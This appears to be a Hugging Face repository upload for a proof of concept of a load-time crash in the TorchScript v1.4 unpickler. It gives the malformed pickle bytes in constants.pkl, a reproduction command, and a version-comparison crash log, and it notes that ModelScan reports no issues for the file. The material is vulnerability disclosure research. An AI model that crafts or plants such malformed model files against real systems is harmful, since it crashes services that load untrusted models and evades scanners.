Upload folder using huggingface_hub
Browse files
README.md
ADDED
|
@@ -0,0 +1,65 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
tags:
|
| 3 |
+
- torchscript
|
| 4 |
+
- pytorch
|
| 5 |
+
- security
|
| 6 |
+
- dos
|
| 7 |
+
- poc
|
| 8 |
+
license: bsd-3-clause
|
| 9 |
+
---
|
| 10 |
+
|
| 11 |
+
# TorchScript v1.4 JIT Unpickler Native DoS PoC
|
| 12 |
+
|
| 13 |
+
This is a benign proof of concept for a TorchScript v1.4 load-time native denial of service.
|
| 14 |
+
|
| 15 |
+
The artifact `artifacts/underflow_appends.pt` is a minimal TorchScript ZIP archive with a malformed `constants.pkl` payload:
|
| 16 |
+
|
| 17 |
+
```text
|
| 18 |
+
80 02 5d 65 2e
|
| 19 |
+
PROTO 2, EMPTY_LIST, APPENDS, STOP
|
| 20 |
+
```
|
| 21 |
+
|
| 22 |
+
In PyTorch `1.4.0`, `torch.jit.load()` reaches the JIT unpickler and crashes natively on this malformed pickle opcode sequence. Current PyTorch versions tested locally return clean parser errors instead, so this report is specifically scoped to TorchScript v1.4.
|
| 23 |
+
|
| 24 |
+
## Reproduction
|
| 25 |
+
|
| 26 |
+
Use a Python environment with PyTorch `1.4.0` installed:
|
| 27 |
+
|
| 28 |
+
```bash
|
| 29 |
+
python verify_torchscript_v14_dos.py --python /path/to/python-with-torch-1.4.0
|
| 30 |
+
```
|
| 31 |
+
|
| 32 |
+
Expected output includes a native-crash return code:
|
| 33 |
+
|
| 34 |
+
```json
|
| 35 |
+
{
|
| 36 |
+
"returncode": -11,
|
| 37 |
+
"native_crash": true
|
| 38 |
+
}
|
| 39 |
+
```
|
| 40 |
+
|
| 41 |
+
Depending on the shell/platform, SIGSEGV may also appear as exit code `139`; SIGABRT variants appear as `134`.
|
| 42 |
+
|
| 43 |
+
## Impact
|
| 44 |
+
|
| 45 |
+
An attacker-controlled TorchScript v1.4 model file can crash a process that calls `torch.jit.load()` on the artifact. This is a model-file-carried denial of service. It is not arbitrary code execution and no controlled memory-corruption primitive is claimed.
|
| 46 |
+
|
| 47 |
+
Severity estimate: Medium, if TorchScript v1.4 is in scope. This is weaker if only current PyTorch versions are accepted.
|
| 48 |
+
|
| 49 |
+
## Evidence
|
| 50 |
+
|
| 51 |
+
Included evidence:
|
| 52 |
+
|
| 53 |
+
- `evidence/torch_1_4_matrix.txt`: PyTorch `1.4.0` crash matrix for malformed `constants.pkl` variants.
|
| 54 |
+
- `evidence/current_torch_2_8_matrix_nomemlimit.txt`: current-version comparison showing clean parser errors.
|
| 55 |
+
- `evidence/modelscan_0_8_8_underflow_appends.json`: ModelScan 0.8.8 output, zero issues while scanning `ts/constants.pkl`.
|
| 56 |
+
|
| 57 |
+
## Hashes
|
| 58 |
+
|
| 59 |
+
```text
|
| 60 |
+
bd34cabfd35feb96ced8a63489c5899aa9b17c000ce552406519998d5d3855f1 artifacts/underflow_appends.pt
|
| 61 |
+
```
|
| 62 |
+
|
| 63 |
+
## Limitation
|
| 64 |
+
|
| 65 |
+
This is intentionally version-scoped. It should be submitted only to programs that accept TorchScript v1.4 or old-version model-format DoS findings.
|
artifacts/underflow_appends.pt
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:bd34cabfd35feb96ced8a63489c5899aa9b17c000ce552406519998d5d3855f1
|
| 3 |
+
size 232
|
evidence/current_torch_2_8_matrix_nomemlimit.txt
ADDED
|
@@ -0,0 +1,344 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
python=python3
|
| 2 |
+
timeout=8.0
|
| 3 |
+
mem_mib=0
|
| 4 |
+
|
| 5 |
+
## appends_mark_no_container.pt
|
| 6 |
+
rc=1 elapsed=1.870s
|
| 7 |
+
[stdout]
|
| 8 |
+
python=3.12.3
|
| 9 |
+
torch=2.8.0+cu128
|
| 10 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/appends_mark_no_container.pt
|
| 11 |
+
[stderr]
|
| 12 |
+
Traceback (most recent call last):
|
| 13 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 14 |
+
main()
|
| 15 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 16 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 17 |
+
File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
|
| 18 |
+
cpp_module = torch._C.import_ir_module(
|
| 19 |
+
^^^^^^^^^^^^^^^^^^^^^^^^^^
|
| 20 |
+
RuntimeError: Parsing error: wrong start index 0 for stack_ of size 0
|
| 21 |
+
|
| 22 |
+
## binget_oob.pt
|
| 23 |
+
rc=1 elapsed=1.659s
|
| 24 |
+
[stdout]
|
| 25 |
+
python=3.12.3
|
| 26 |
+
torch=2.8.0+cu128
|
| 27 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/binget_oob.pt
|
| 28 |
+
[stderr]
|
| 29 |
+
Traceback (most recent call last):
|
| 30 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 31 |
+
main()
|
| 32 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 33 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 34 |
+
File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
|
| 35 |
+
cpp_module = torch._C.import_ir_module(
|
| 36 |
+
^^^^^^^^^^^^^^^^^^^^^^^^^^
|
| 37 |
+
RuntimeError: Parsing error: out of bounds access at 255 to memo_table_ which is of size 0
|
| 38 |
+
|
| 39 |
+
## compressed_constants_128m.pt
|
| 40 |
+
rc=1 elapsed=7.782s
|
| 41 |
+
[stdout]
|
| 42 |
+
python=3.12.3
|
| 43 |
+
torch=2.8.0+cu128
|
| 44 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/compressed_constants_128m.pt
|
| 45 |
+
[stderr]
|
| 46 |
+
Traceback (most recent call last):
|
| 47 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 48 |
+
main()
|
| 49 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 50 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 51 |
+
File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
|
| 52 |
+
cpp_module = torch._C.import_ir_module(
|
| 53 |
+
^^^^^^^^^^^^^^^^^^^^^^^^^^
|
| 54 |
+
RuntimeError: Unpickler expected 1 element on the stack, but found 134217729
|
| 55 |
+
|
| 56 |
+
## dict_odd_item_count.pt
|
| 57 |
+
rc=1 elapsed=1.766s
|
| 58 |
+
[stdout]
|
| 59 |
+
python=3.12.3
|
| 60 |
+
torch=2.8.0+cu128
|
| 61 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/dict_odd_item_count.pt
|
| 62 |
+
[stderr]
|
| 63 |
+
Traceback (most recent call last):
|
| 64 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 65 |
+
main()
|
| 66 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 67 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 68 |
+
File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
|
| 69 |
+
cpp_module = torch._C.import_ir_module(
|
| 70 |
+
^^^^^^^^^^^^^^^^^^^^^^^^^^
|
| 71 |
+
RuntimeError: Parsing error: stack_ is of size 1 and start index is 0, but stack_ is iterated by two elements at a time
|
| 72 |
+
|
| 73 |
+
## duplicate_constants_first_benign_second_crash.pt
|
| 74 |
+
rc=1 elapsed=1.934s
|
| 75 |
+
[stdout]
|
| 76 |
+
python=3.12.3
|
| 77 |
+
torch=2.8.0+cu128
|
| 78 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/duplicate_constants_first_benign_second_crash.pt
|
| 79 |
+
[stderr]
|
| 80 |
+
Traceback (most recent call last):
|
| 81 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 82 |
+
main()
|
| 83 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 84 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 85 |
+
File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
|
| 86 |
+
cpp_module = torch._C.import_ir_module(
|
| 87 |
+
^^^^^^^^^^^^^^^^^^^^^^^^^^
|
| 88 |
+
RuntimeError: Parsing error: marks_ is empty
|
| 89 |
+
|
| 90 |
+
## huge_binunicode_256m.pt
|
| 91 |
+
rc=1 elapsed=1.910s
|
| 92 |
+
[stdout]
|
| 93 |
+
python=3.12.3
|
| 94 |
+
torch=2.8.0+cu128
|
| 95 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/huge_binunicode_256m.pt
|
| 96 |
+
[stderr]
|
| 97 |
+
Traceback (most recent call last):
|
| 98 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 99 |
+
main()
|
| 100 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 101 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 102 |
+
File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
|
| 103 |
+
cpp_module = torch._C.import_ir_module(
|
| 104 |
+
^^^^^^^^^^^^^^^^^^^^^^^^^^
|
| 105 |
+
RuntimeError: Unexpected end of pickler archive.
|
| 106 |
+
|
| 107 |
+
## long_binget_oob.pt
|
| 108 |
+
rc=1 elapsed=1.936s
|
| 109 |
+
[stdout]
|
| 110 |
+
python=3.12.3
|
| 111 |
+
torch=2.8.0+cu128
|
| 112 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/long_binget_oob.pt
|
| 113 |
+
[stderr]
|
| 114 |
+
Traceback (most recent call last):
|
| 115 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 116 |
+
main()
|
| 117 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 118 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 119 |
+
File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
|
| 120 |
+
cpp_module = torch._C.import_ir_module(
|
| 121 |
+
^^^^^^^^^^^^^^^^^^^^^^^^^^
|
| 122 |
+
RuntimeError: Parsing error: out of bounds access at 4294967295 to memo_table_ which is of size 0
|
| 123 |
+
|
| 124 |
+
## setitems_odd_item_count.pt
|
| 125 |
+
rc=1 elapsed=2.161s
|
| 126 |
+
[stdout]
|
| 127 |
+
python=3.12.3
|
| 128 |
+
torch=2.8.0+cu128
|
| 129 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/setitems_odd_item_count.pt
|
| 130 |
+
[stderr]
|
| 131 |
+
Traceback (most recent call last):
|
| 132 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 133 |
+
main()
|
| 134 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 135 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 136 |
+
File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
|
| 137 |
+
cpp_module = torch._C.import_ir_module(
|
| 138 |
+
^^^^^^^^^^^^^^^^^^^^^^^^^^
|
| 139 |
+
RuntimeError: Parsing error: stack_ is of size 2 and start index is 1, but stack_ is iterated by two elemenst at a time
|
| 140 |
+
|
| 141 |
+
## underflow_appends.pt
|
| 142 |
+
rc=1 elapsed=2.219s
|
| 143 |
+
[stdout]
|
| 144 |
+
python=3.12.3
|
| 145 |
+
torch=2.8.0+cu128
|
| 146 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_appends.pt
|
| 147 |
+
[stderr]
|
| 148 |
+
Traceback (most recent call last):
|
| 149 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 150 |
+
main()
|
| 151 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 152 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 153 |
+
File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
|
| 154 |
+
cpp_module = torch._C.import_ir_module(
|
| 155 |
+
^^^^^^^^^^^^^^^^^^^^^^^^^^
|
| 156 |
+
RuntimeError: Parsing error: marks_ is empty
|
| 157 |
+
|
| 158 |
+
## underflow_binpersid.pt
|
| 159 |
+
rc=1 elapsed=1.816s
|
| 160 |
+
[stdout]
|
| 161 |
+
python=3.12.3
|
| 162 |
+
torch=2.8.0+cu128
|
| 163 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_binpersid.pt
|
| 164 |
+
[stderr]
|
| 165 |
+
Traceback (most recent call last):
|
| 166 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 167 |
+
main()
|
| 168 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 169 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 170 |
+
File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
|
| 171 |
+
cpp_module = torch._C.import_ir_module(
|
| 172 |
+
^^^^^^^^^^^^^^^^^^^^^^^^^^
|
| 173 |
+
RuntimeError: Parsing error: stack_ is empty
|
| 174 |
+
|
| 175 |
+
## underflow_build_empty.pt
|
| 176 |
+
rc=1 elapsed=1.727s
|
| 177 |
+
[stdout]
|
| 178 |
+
python=3.12.3
|
| 179 |
+
torch=2.8.0+cu128
|
| 180 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_build_empty.pt
|
| 181 |
+
[stderr]
|
| 182 |
+
Traceback (most recent call last):
|
| 183 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 184 |
+
main()
|
| 185 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 186 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 187 |
+
File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
|
| 188 |
+
cpp_module = torch._C.import_ir_module(
|
| 189 |
+
^^^^^^^^^^^^^^^^^^^^^^^^^^
|
| 190 |
+
RuntimeError: Parsing error: stack_ contains 0 elements, at least 2 expected
|
| 191 |
+
|
| 192 |
+
## underflow_build_one.pt
|
| 193 |
+
rc=1 elapsed=1.791s
|
| 194 |
+
[stdout]
|
| 195 |
+
python=3.12.3
|
| 196 |
+
torch=2.8.0+cu128
|
| 197 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_build_one.pt
|
| 198 |
+
[stderr]
|
| 199 |
+
Traceback (most recent call last):
|
| 200 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 201 |
+
main()
|
| 202 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 203 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 204 |
+
File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
|
| 205 |
+
cpp_module = torch._C.import_ir_module(
|
| 206 |
+
^^^^^^^^^^^^^^^^^^^^^^^^^^
|
| 207 |
+
RuntimeError: Parsing error: stack_ contains 1 elements, at least 2 expected
|
| 208 |
+
|
| 209 |
+
## underflow_newobj.pt
|
| 210 |
+
rc=1 elapsed=1.978s
|
| 211 |
+
[stdout]
|
| 212 |
+
python=3.12.3
|
| 213 |
+
torch=2.8.0+cu128
|
| 214 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_newobj.pt
|
| 215 |
+
[stderr]
|
| 216 |
+
Traceback (most recent call last):
|
| 217 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 218 |
+
main()
|
| 219 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 220 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 221 |
+
File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
|
| 222 |
+
cpp_module = torch._C.import_ir_module(
|
| 223 |
+
^^^^^^^^^^^^^^^^^^^^^^^^^^
|
| 224 |
+
RuntimeError: Parsing error: stack_ is empty
|
| 225 |
+
|
| 226 |
+
## underflow_reduce_empty.pt
|
| 227 |
+
rc=1 elapsed=1.788s
|
| 228 |
+
[stdout]
|
| 229 |
+
python=3.12.3
|
| 230 |
+
torch=2.8.0+cu128
|
| 231 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_reduce_empty.pt
|
| 232 |
+
[stderr]
|
| 233 |
+
Traceback (most recent call last):
|
| 234 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 235 |
+
main()
|
| 236 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 237 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 238 |
+
File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
|
| 239 |
+
cpp_module = torch._C.import_ir_module(
|
| 240 |
+
^^^^^^^^^^^^^^^^^^^^^^^^^^
|
| 241 |
+
RuntimeError: Parsing error: stack_ contains 0 elements, at least 2 expected
|
| 242 |
+
|
| 243 |
+
## underflow_reduce_one.pt
|
| 244 |
+
rc=1 elapsed=2.574s
|
| 245 |
+
[stdout]
|
| 246 |
+
python=3.12.3
|
| 247 |
+
torch=2.8.0+cu128
|
| 248 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_reduce_one.pt
|
| 249 |
+
[stderr]
|
| 250 |
+
Traceback (most recent call last):
|
| 251 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 252 |
+
main()
|
| 253 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 254 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 255 |
+
File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
|
| 256 |
+
cpp_module = torch._C.import_ir_module(
|
| 257 |
+
^^^^^^^^^^^^^^^^^^^^^^^^^^
|
| 258 |
+
RuntimeError: Parsing error: stack_ contains 1 elements, at least 2 expected
|
| 259 |
+
|
| 260 |
+
## underflow_setitems.pt
|
| 261 |
+
rc=1 elapsed=2.059s
|
| 262 |
+
[stdout]
|
| 263 |
+
python=3.12.3
|
| 264 |
+
torch=2.8.0+cu128
|
| 265 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_setitems.pt
|
| 266 |
+
[stderr]
|
| 267 |
+
Traceback (most recent call last):
|
| 268 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 269 |
+
main()
|
| 270 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 271 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 272 |
+
File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
|
| 273 |
+
cpp_module = torch._C.import_ir_module(
|
| 274 |
+
^^^^^^^^^^^^^^^^^^^^^^^^^^
|
| 275 |
+
RuntimeError: Parsing error: marks_ is empty
|
| 276 |
+
|
| 277 |
+
## underflow_tuple.pt
|
| 278 |
+
rc=1 elapsed=1.929s
|
| 279 |
+
[stdout]
|
| 280 |
+
python=3.12.3
|
| 281 |
+
torch=2.8.0+cu128
|
| 282 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple.pt
|
| 283 |
+
[stderr]
|
| 284 |
+
Traceback (most recent call last):
|
| 285 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 286 |
+
main()
|
| 287 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 288 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 289 |
+
File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
|
| 290 |
+
cpp_module = torch._C.import_ir_module(
|
| 291 |
+
^^^^^^^^^^^^^^^^^^^^^^^^^^
|
| 292 |
+
RuntimeError: Parsing error: marks_ is empty
|
| 293 |
+
|
| 294 |
+
## underflow_tuple1.pt
|
| 295 |
+
rc=1 elapsed=2.115s
|
| 296 |
+
[stdout]
|
| 297 |
+
python=3.12.3
|
| 298 |
+
torch=2.8.0+cu128
|
| 299 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple1.pt
|
| 300 |
+
[stderr]
|
| 301 |
+
Traceback (most recent call last):
|
| 302 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 303 |
+
main()
|
| 304 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 305 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 306 |
+
File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
|
| 307 |
+
cpp_module = torch._C.import_ir_module(
|
| 308 |
+
^^^^^^^^^^^^^^^^^^^^^^^^^^
|
| 309 |
+
RuntimeError: Parsing error: stack_ contains 0 elements, at least 1 expected
|
| 310 |
+
|
| 311 |
+
## underflow_tuple2.pt
|
| 312 |
+
rc=1 elapsed=1.922s
|
| 313 |
+
[stdout]
|
| 314 |
+
python=3.12.3
|
| 315 |
+
torch=2.8.0+cu128
|
| 316 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple2.pt
|
| 317 |
+
[stderr]
|
| 318 |
+
Traceback (most recent call last):
|
| 319 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 320 |
+
main()
|
| 321 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 322 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 323 |
+
File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
|
| 324 |
+
cpp_module = torch._C.import_ir_module(
|
| 325 |
+
^^^^^^^^^^^^^^^^^^^^^^^^^^
|
| 326 |
+
RuntimeError: Parsing error: stack_ contains 0 elements, at least 2 expected
|
| 327 |
+
|
| 328 |
+
## underflow_tuple3.pt
|
| 329 |
+
rc=1 elapsed=1.852s
|
| 330 |
+
[stdout]
|
| 331 |
+
python=3.12.3
|
| 332 |
+
torch=2.8.0+cu128
|
| 333 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple3.pt
|
| 334 |
+
[stderr]
|
| 335 |
+
Traceback (most recent call last):
|
| 336 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 337 |
+
main()
|
| 338 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 339 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 340 |
+
File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
|
| 341 |
+
cpp_module = torch._C.import_ir_module(
|
| 342 |
+
^^^^^^^^^^^^^^^^^^^^^^^^^^
|
| 343 |
+
RuntimeError: Parsing error: stack_ contains 0 elements, at least 3 expected
|
| 344 |
+
|
evidence/modelscan_0_8_8_underflow_appends.json
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
{"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0}, "total_issues": 0, "input_path": "/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_appends.pt", "absolute_path": "/workspace/torchscript_v1_4_agent_runtime/lab/artifacts", "modelscan_version": "0.8.8", "timestamp": "2026-05-12T12:21:25.902728", "scanned": {"total_scanned": 1, "scanned_files": ["underflow_appends.pt:ts/constants.pkl"]}}, "issues": [], "errors": []}
|
